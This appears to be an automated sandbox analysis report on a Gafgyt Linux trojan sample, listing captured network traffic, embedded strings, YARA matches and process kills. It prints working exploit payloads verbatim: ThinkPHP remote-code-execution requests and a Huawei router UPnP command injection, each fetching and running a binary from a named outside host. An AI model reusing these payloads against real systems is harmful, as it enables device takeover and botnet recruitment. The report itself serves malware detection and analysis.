Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ewe.arm.elf	String found in binary or memory: http://139.59.126.134/bin.sh;
Source: ewe.arm.elf	String found in binary or memory: http://139.59.126.134/bns/x86
Source: ewe.arm.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: ewe.arm.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: ewe.arm.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: ewe.arm.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5585.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5585.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5581.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5581.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5589.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5589.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5597.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5597.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5592.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5592.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5587.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5587.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5590.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5590.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5599.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5599.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: ewe.arm.elf PID: 5581, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: ewe.arm.elf PID: 5581, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: ewe.arm.elf PID: 5585, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: ewe.arm.elf PID: 5585, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: ewe.arm.elf PID: 5587, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: ewe.arm.elf PID: 5589, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: ewe.arm.elf PID: 5589, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: ewe.arm.elf PID: 5590, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: ewe.arm.elf PID: 5592, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: ewe.arm.elf PID: 5592, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: ewe.arm.elf PID: 5597, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: ewe.arm.elf PID: 5597, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: ewe.arm.elf PID: 5599, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 725, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 767, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 794, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 806, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 853, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 888, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 940, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 1299, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 1300, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 2956, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3213, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3218, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3304, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3329, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3392, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3398, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3402, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3406, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3412, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 5587, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 5589, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 725, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 767, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 794, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 806, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 853, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 888, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 940, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 1299, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 1300, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 2955, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 2956, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 5583, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 5590, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 5592, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 5599, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://139.59.126.134/bin.sh; chmod +x bin.sh; ./bin.sh

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 725, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 767, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 794, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 806, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 853, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 888, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 940, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 1299, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 1300, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 2956, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3213, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3218, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3304, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3329, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3392, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3398, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3402, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3406, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 3412, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 5587, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	SIGKILL sent: pid: 5589, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 725, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 767, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 794, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 806, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 853, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 888, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 940, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 1299, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 1300, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 2955, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 2956, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 5583, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 5590, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 5592, result: successful	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5595)	SIGKILL sent: pid: 5599, result: successful	Jump to behavior

Source: ewe.arm.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: ewe.arm.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5585.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5585.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5581.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5581.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5589.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5589.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5597.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5597.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5592.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5592.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5587.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5587.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5590.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5590.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5599.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5599.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: ewe.arm.elf PID: 5581, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: ewe.arm.elf PID: 5581, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: ewe.arm.elf PID: 5585, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: ewe.arm.elf PID: 5585, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
